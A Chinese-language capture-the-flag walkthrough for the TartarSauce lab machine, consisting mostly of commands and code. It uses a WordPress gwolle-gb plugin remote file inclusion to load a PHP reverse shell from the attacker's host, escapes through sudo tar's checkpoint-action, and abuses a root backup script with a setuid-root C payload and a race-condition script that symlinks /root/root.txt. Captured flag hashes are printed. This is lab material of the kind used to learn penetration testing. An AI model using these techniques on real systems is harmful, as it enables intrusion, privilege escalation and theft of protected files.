信息收集
IP Address | Opening Ports |
---|---|
10.10.10.88 | TCP:80 |
$ nmap -p- 10.10.10.88 --min-rate 1000 -sC -sV
PORT STATE SERVICE VERSION
80/tcp open tcpwrapped
Wordpress & gwolle-gb & RFI
$ feroxbuster --url http://10.10.10.88/
$ wpscan --url http://10.10.10.88:80/webservices/wp -e ap --plugins-detection aggressive -t 100
$ curl 'http://10.10.10.88/webservices/wp/wp-content/plugins/gwolle-gb/frontend/captcha/ajaxresponse.php?abspath=http://10.10.16.24/test'
$ cp /usr/share/webshells/php/php-reverse-shell.php wp-load.php
$ curl 'http://10.10.10.88/webservices/wp/wp-content/plugins/gwolle-gb/frontend/captcha/ajaxresponse.php?abspath=http://10.10.16.24/'
www-data to onuma
$ python -c 'import pty; pty.spawn("/bin/bash")'
$ sudo -l
$ sudo -u onuma tar -cf /dev/null /dev/null --checkpoint=1 --checkpoint-action=exec=/bin/sh
User.txt
1895da47f6758f6ddf1f8c8ea61b4c4a
权限提升
系统中有一个名为 “backuperer.service” 的 systemd 定时器每隔几分钟运行一次。
$ find / -name backuperer 2>/dev/null
$ cat /usr/sbin/backuperer
# 定义变量
basedir=/var/www/html # 备份源目录
bkpdir=/var/backups # 备份文件保存目录
tmpdir=/var/tmp # 临时目录
testmsg=$bkpdir/onuma_backup_test.txt # 记录备份运行时间的测试消息文件
errormsg=$bkpdir/onuma_backup_error.txt # 记录备份错误的文件
tmpfile=$tmpdir/.$(/usr/bin/head -c100 /dev/urandom |sha1sum|cut -d' ' -f1) # 存储备份文件的临时文件,文件名是从随机数据生成的 SHA1 哈希
check=$tmpdir/check # 临时目录,用于存储解压后的备份文件
# 格式化函数
printbdr() {
for n in $(seq 72); do
/usr/bin/printf $"-"
done
}
bdr=$(printbdr) # 将分隔符保存到 bdr 变量中
# 记录备份时间
/usr/bin/printf $"$bdr\nAuto backup backuperer backup last ran at : $(/bin/date)\n$bdr\n" > $testmsg
# 清理
/bin/rm -rf $tmpdir/.* $check
# 执行备份
/usr/bin/sudo -u onuma /bin/tar -zcvf $tmpfile $basedir &
# 等待备份完成
/bin/sleep 30
# 检查备份完整性
integrity_chk() {
/usr/bin/diff -r $basedir $check$basedir
}
# 创建 $check 目录
/bin/mkdir $check
# 解压备份文件
/bin/tar -zxvf $tmpfile -C $check
# 调用 integrity_chk 函数检查备份的完整性
if [[ $(integrity_chk) ]]; then
# 记录错误信息并退出
/usr/bin/printf $"$bdr\nIntegrity Check Error in backup last ran : $(/bin/date)\n$bdr\n$tmpfile\n" >> $errormsg
integrity_chk >> $errormsg
exit 2
else
# 移动备份文件到目标目录并清理临时文件
/bin/mv $tmpfile $bkpdir/onuma-www-dev.bak
/bin/rm -rf $check .*
exit 0
fi
1.自动清除/tmp目录下以.并且以SHA1 哈希值开头的隐藏备份文件.
2.使用onuma权限备份/var/www/html目录下文件到/var/tmp目录,存储备份文件的临时文件,文件名是从随机数据生成的 SHA1 哈希.
3./var/tmp目录中被创建check文件夹.
4.解压备份文件/var/tmp中,以.并且以SHA1 哈希值开头的隐藏备份文件到/var/tmp/check目录
5.调用 integrity_chk 函数检查备份的完整性
主要问题存在于/bin/tar -zxvf $tmpfile -C $check
作用于/var/tmp中提取文件覆盖到/var/tmp/check目录中,我们需要在在它备份成一个.hash文件的时候劫持替换成恶意的压缩文件
构造payload
//setuid.c
#include <stdio.h>
#include <stdlib.h>
#include <sys/types.h>
#include <unistd.h>
int main(void) {
setuid(0);
setgid(0);
system("/bin/sh");
}
$ sudo apt install gcc-multilib
$ gcc -m32 -o setuid setuid.c
$ chmod 4755 setuid
$ mkdir -p var/www/html
$ mv setuid ./var/www/html
$ tar -zcvf setuid.tar.gz var/
onuma@TartarSauce:/var/tmp$ wget http://10.10.16.24/setuid.tar.gz
等待定时器执行后在/var/tmp下会出现一个文件
.xxxxxx
替换文件
$ cp setuid.tar.gz .0d2369d13e9d34f9b994242d49e4446197b2ef18
整个过程只有5分钟之内可以利用,否则会将check文件删除,这里为var/www/html是为了绕过integrity_chk函数,不产生错误的正常的执行完成。它会比较/var/tmp/check的目录结构是否和/var/www/html下的路径是否一致。
onuma@TartarSauce:/var/tmp/check/var/www/html$ ./setuid
但是似乎不兼容
利用软连接+错误日志获取Flag
#!/bin/bash
# exp.sh
# work out of shm
cd /dev/shm
# set both start and cur equal to any backup file if it's there
start=$(find /var/tmp -maxdepth 1 -type f -name ".*")
cur=$(find /var/tmp -maxdepth 1 -type f -name ".*")
# loop until there's a change in cur
echo "Waiting for archive filename to change..."
while [ "$start" == "$cur" -o "$cur" == "" ] ; do
sleep 10;
cur=$(find /var/tmp -maxdepth 1 -type f -name ".*");
done
# Grab a copy of the archive
echo "File changed... copying here"
cp $cur .
# get filename
fn=$(echo $cur | cut -d'/' -f4)
# extract archive
tar -zxf $fn
# remove robots.txt and replace it with link to root.txt
rm var/www/html/robots.txt
ln -s /root/root.txt var/www/html/robots.txt
# remove old archive
rm $fn
# create new archive
tar czf $fn var
# put it back, and clean up
mv $fn $cur
rm $fn
rm -rf var
# wait for results
echo "Waiting for new logs..."
tail -f /var/backups/onuma_backup_error.txt
$ wget http://10.10.16.24/exp.sh
$ chmod +x exp.sh
$ ./exp.sh
Root.txt
6d1a541ae753613c68668f1ed114ffc9